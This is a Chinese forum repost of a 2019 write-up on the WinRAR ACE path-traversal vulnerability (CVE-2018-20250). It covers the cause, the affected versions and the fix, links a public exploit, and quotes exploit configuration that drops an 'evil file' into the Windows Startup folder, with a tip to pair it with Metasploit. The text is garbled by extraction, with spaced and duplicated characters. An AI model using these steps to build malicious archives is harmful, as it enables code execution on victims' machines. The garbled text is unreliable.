搜索

[811] 2019-02-23_WinRAR代码执行漏洞EXP附利用视频

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-16
2019-02-23_WinRAR代码执行漏洞EXP附利用视频 W i n R A R 代 码 执 行 漏 洞 E X P 附 利 用 视 频 原 创   H a r r y   B u g K u   2 0 1 9 - 0 2 - 2 3 1 W i n R A R   是 一 款 流 行 的 解 压 缩 工 具 是 一 款 流 行 的 解 压 缩 工 具 , 据 其 官 网 上 发 布 的 数 据 据 其 官 网 上 发 布 的 数 据 , 全 球 有 超 过 全 球 有 超 过 5 亿 的 用 户 在 使 用 亿 的 用 户 在 使 用 2 0 1 9 年 年 2 月 月 2 0 日 日 , 安 全 厂 商 安 全 厂 商   c h e c k p o i n t   发 布 了 名 为 《 发 布 了 名 为 《 E x t r a c t i n g   a   1 9   Y e a r   o l d   c o d e   E x e c u t i o n   f r o m   W i n R A R 》 的 文 章 》 的 文 章 , 文 章 披 文 章 披 露 了 一 个 存 在 于 露 了 一 个 存 在 于   w i n R A R   中 用 于 中 用 于   a c e   文 件 解 析 的 文 件 解 析 的   D L L   模 块 中 的 绝 对 路 径 穿 越 漏 洞 模 块 中 的 绝 对 路 径 穿 越 漏 洞 , 可 导 致 远 程 代 码 执 行 。 可 导 致 远 程 代 码 执 行 。 2 漏 洞 类 型 ： 代 码 执 行 漏 洞 利 用 条 件 ： 将 压 缩 包 解 压 到 当 前 文 件 夹 ， 同 时 释 放 恶 意 文 件 到 指 定 目 录 ， 重 启 机 器 便 会 触 发 漏 洞 （ 解 压 到 自 启 动 目 录 o r   解 压 d l l 文 件 进 行 劫 持 ） 受 影 响 版 本 ： W i n R A R   5 . 7   之 前 含 有 U N A C E V 2 . d l l 模 块 的 压 缩 程 序 产 生 原 因 ： a c e 处 理 相 关 的 D L L 在 对 解 压 目 标 的 相 对 路 径 进 行 解 析 时 ， C l e a n P a t h 函 数 过 滤 不 严 导 致 修 复 方 案 ： 升 级 到 w i n r a r 5 . 7 . 1 3 E x p 地 址 ： h t t p s : / / g i t h u b . c o m / W y A t u / C V E - 2 0 1 8 - 2 0 2 5 0 使 用 方 法 ： 安 装 p y t h o n 3 . 7 ， 生 成 一 个 邪 恶 文 件 修 改 c a l c . e x e 为 你 生 成 的 邪 恶 文 件 . . .   . . . #   T h e   a r c h i v e   f i l e n a m e   y o u   w a n t r a r _ f i l e n a m e   =   " t e s t . r a r " #   T h e   e v i l   f i l e   y o u   w a n t   t o   r u n
e v i l _ f i l e n a m e   =   " c a l c . e x e " #   T h e   d e c o m p r e s s i o n   p a t h   y o u   w a n t ,   s u c h   s h o w n   b e l o w t a r g e t _ f i l e n a m e   =   r " C : C : C : . . / A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p h i . e x e " #   O t h e r   f i l e s   t o   b e   d i s p l a y e d   w h e n   t h e   v i c t i m   o p e n s   t h e   w i n r a r #   f i l e n a m e _ l i s t = [ ] f i l e n a m e _ l i s t   =   [ " h e l l o . t x t " ,   " w o r l d . t x t " ] . . .   . . . 配 合 M S F 效 果 更 佳 ！ 关 注 网 络 安 全 关 注 网 络 安 全 打 造 绿 色 网 络 打 造 绿 色 网 络 p s ： h t t p s : / / n e w . b u g k u . c o m /   新 C T F 平 台 完 美 开 启   新 增 多 种 邀 请 码 获 取 方 式
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理